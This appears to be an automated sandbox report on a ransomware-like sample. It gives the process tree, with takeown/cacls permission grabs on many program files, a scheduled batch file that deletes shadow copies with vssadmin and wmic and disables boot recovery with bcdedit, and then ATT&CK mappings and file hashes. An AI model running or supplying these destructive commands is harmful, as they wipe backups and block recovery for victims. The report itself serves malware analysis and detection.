C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SC_Reader.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SC_Reader.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "brt55.ths" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "brt55.ths" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "usa03.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "usa03.hsp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CP1252.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CP1252.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PurblePlaceMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PurblePlaceMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SolitaireMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SolitaireMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "SpiderSolitaireMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "SpiderSolitaireMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\it-IT\WinMail.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {7EA95ABB-302F-45AA-BABE-F9D518B376D7} S-1-5-21-3290804112-2823094203-3137964600-1000:VORHPBAB\Admin:Interactive:[1]1⤵
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\YrHhVySU.bat"2⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
MD55f574bc0dbb40eb1cdb53485d9166b59
SHA1769ba960cfbbf9667d384e7373f0a6a77f85cd3d
SHA2560aee00de22542ef1db88ad6e23ccf7b731d23f41ed78d4d5414a9610e4090b96
SHA512f7912eb3f670dd2a8faf677cd6d38187a093e3b68f4e27ce726c38bc219dea8841ed4c9138b4694e2d2b2061e920564089a1ffb414fede905a6e311964c799b9
-
Filesize
1.2MB
MD5a93bd199d34d21cc9102600c6ce782cf
SHA131b50d84aa1af4f0e76a523382caba476f6e45dc
SHA256242713ef2f372f0d39ca8f01bd09c9f99bcfe850e156621c023dd9e0bfb9bd95
SHA512642e0cacf80a54ffa8f1bdeebb2a9b9449bb062bc331924ff8b6c93853ade68cdbd23928081d7c5da7bce944f5c553b0c4b05bd90fda525f017415bd891534c2
-
Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
-
Filesize
5KB
MD5a184cc24f83bab89b26ca16ae624a11d
SHA12a4eb91967207e8a58e2627d7624135c60958671
SHA2567ff20eca99842d526356048e8e56e093ce2affb6dd28b73d0560bb699d0fc58f
SHA51215357ca2cf177db871e85214916431a1341c296386fba11fdfd958ff8edccba8a61f342954901f81d17574ef527a6a02bc93f2eff4d1402b9ebb24362f9c86ec
-
Filesize
32KB
MD5ddb2e8ec89327eba3eaf2d3dc1a9ff0b
SHA1d3d45406e841ec8e8c5b010efe3515abff744b8e
SHA2561f317b01464e0e62b2c00372ac882192b03da33bb9028b369ab94c1b8d435f34
SHA512ddacf727ffe9ec73d49fa75367694e4c1e887d904eeeb2f632bd2819bdfd1f90663913aa308f448113a7b4c30b33e19d3cd27a76d62bd4105f9a75c9ca3d0f62
-
Filesize
226B
MD50671f9c4d8c2ec05f3e08218209687dc
SHA1716683cefddd0e5d13a9e664c629a87f1fb35279
SHA256dfc752b561458566aaddeb1057983db9207d8093a93ded7f5a419727198a7640
SHA512722bfd1cd01d5c56b862bb8532970a5c3c4a0ee3d8a04f31748cc8ddefee0b1920cfc50272b0e0178cd41b91228e16712a7d3d861213278757bbf5f4c84e47f4
-
Filesize
260B
MD591c3618fe8254eae2f1c06be1aa311be
SHA14828f50408f081e1e6bd855c048a1b3c5fc1c08b
SHA25636b2f3f19b715540275b684d3cd0a684e61c5336936be6d158074b73038ac745
SHA512be9ed07d4b516fa3162809babde3243bef81937578d328bff40b1078552463d1b431a986d6d83c62ee7ef88fbf91a28e753b616af10ed47c096dab2ed4d84143
-
Filesize
265B
MD5893e084460ab952b499e7213c0a8b350
SHA16d9c51c4f8a7d2bd5351a7389c6969a7d4071a48
SHA256844fa20a6bab590b6350db9887da5b177f7d6d6fccf1c996d926b658660d318c
SHA5120d45f73a60b506d77037faf9925e13ba31fad77c2abb5cfb147f9532a65e2c0690ac884e08e46b5f44b9e1bdbf16742db8e5f6d207293dbdc1bfef753063242e
-
Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
1.2MB
-
Filesize
1.2MB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
1.2MB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB
-
Filesize
476KB